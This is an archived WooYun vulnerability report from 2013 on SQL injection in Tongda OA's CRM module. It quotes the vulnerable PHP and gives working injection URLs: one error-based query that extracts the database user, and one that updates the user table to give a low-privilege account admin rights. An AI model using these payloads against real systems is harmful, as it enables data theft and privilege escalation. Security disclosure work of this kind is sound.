当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(10) 关注此漏洞

缺陷编号: WooYun-2013-41302

漏洞标题: 通达OA一个SQL注射漏洞(需登录)

相关厂商: 通达信科

漏洞作者: applychen认证白帽子

提交时间: 2013-10-28 17:41

公开时间: 2014-01-23 17:42

漏洞类型: SQL注射漏洞

危害等级: 高

自评Rank: 15

漏洞状态: 漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: 无

6人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-10-28: 细节已通知厂商并且等待厂商处理中
2013-11-02: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2013-12-27: 细节向核心白帽子及相关领域专家公开
2014-01-06: 细节向普通白帽子公开
2014-01-16: 细节向实习白帽子公开
2014-01-23: 细节向公众公开

简要描述:

通达OA SQL注射漏洞,需登录。

详细说明:

程序是集成化安装,在php.ini中register_globals设置为on,允许注册全局变量。

在/general/crm/apps/crm/include/deleteView.php文件中$id变量未初始化:

code 区域
include_once( "general/crm/studio/header.php" );
include_once( "inc/utility.php" );
$flag = 0;
$query = "delete from crm_sys_list_view where id=".$id;
$cursor = exequery( $connection, $query );



测试语句如下:

code 区域
http://**.**.**.**:81/general/crm/apps/crm/include/deleteView.php?id=1 and (select 1 from (select count(*),concat((select user()),floor(rand(0)*2))x from information_schema.tables group by x)a)%23



1.png



在/general/crm/apps/crm/include/delete_submit.php中

code 区域
ob_end_clean( );
$ATTACHMENT_ID = $_POST['ATTACH_ID'];
$ATTACHMENT_NAME = $_POST['ATTACH_NAME'];
$ENTITY_NAME = $_POST['ENTITY_NAME'];
$FIELD_NAME = $_POST['FIELD_NAME'];
$KEY_ID = $_POST['KEY_ID'];
$ATTACH_TYPE = $_POST['ATTACH_TYPE'];
$query = "select ".$FIELD_NAME.",".$FIELD_NAME."_text from ".$ENTITY_NAME." where id ='".$KEY_ID."'";
$cursor = exequery( $connection, $query );



$ENTITY_NAME、$FIELD_NAME、$ENTITY_NAME都未进行过滤可以注射SQL语句。

3.png





在/general/crm/modules/Account/account/DeleteView/index.php文件中:

code 区域
include_once( "general/crm/apps/crm/header.php" );
$entity = $_GET['entity'];
$ids = $_GET['ids'];
$query = "update ".$entity." set ".$entity.( ".deleted = 1 where find_in_set(id, '".$ids."')" );
$cursor = exequery( $connection, $query );



$entity变量未初始化,导致能够更新数据库内的任意表,这里使用的是一般权限账号chr登录。

4.png



下面将chr update为管理员权限。

code 区域
http://**.**.**.**:81/general/crm/modules/Account/account/DeleteView/index.php?entity=user set USER_PRIV=1 where user_id=0x636872%23



5.png

漏洞证明:

同上

修复方案:

初始化并过滤变量

版权声明:转载请注明来源 applychen@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2014-01-23 17:42

厂商回复:

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2013-10-28 18:43 | saline ( 普通白帽子 | Rank:294 漏洞数:37 | Focus On Web Secur1ty)
    0

    2013版的?为何我这边解密不了

  2. 2013-10-28 23:31 | applychen 认证白帽子 ( 普通白帽子 | Rank:585 漏洞数:50 | 万古漫漫长如夜)
    0

    @saline 2013版的,这个场景下面无需解密password即可得到账户管理权限,但前提是要有登录账户……

  3. 2013-10-29 09:26 | saline ( 普通白帽子 | Rank:294 漏洞数:37 | Focus On Web Secur1ty)
    0

    不是啊洞主,我是说通达OA的zend加密我一直没搞出明文,求pm下明文源码读读啊

  4. 2013-11-21 09:42 | saline ( 普通白帽子 | Rank:294 漏洞数:37 | Focus On Web Secur1ty)
    0

    不是最新版吧?

  5. 2013-11-21 17:00 | applychen 认证白帽子 ( 普通白帽子 | Rank:585 漏洞数:50 | 万古漫漫长如夜)
    0

    @saline 这个漏洞发的时候是可以的,官方demo站测试通过,10月份官方更新版本之后,CRM模块就被干掉了。

登录后才能发表评论,请先 登录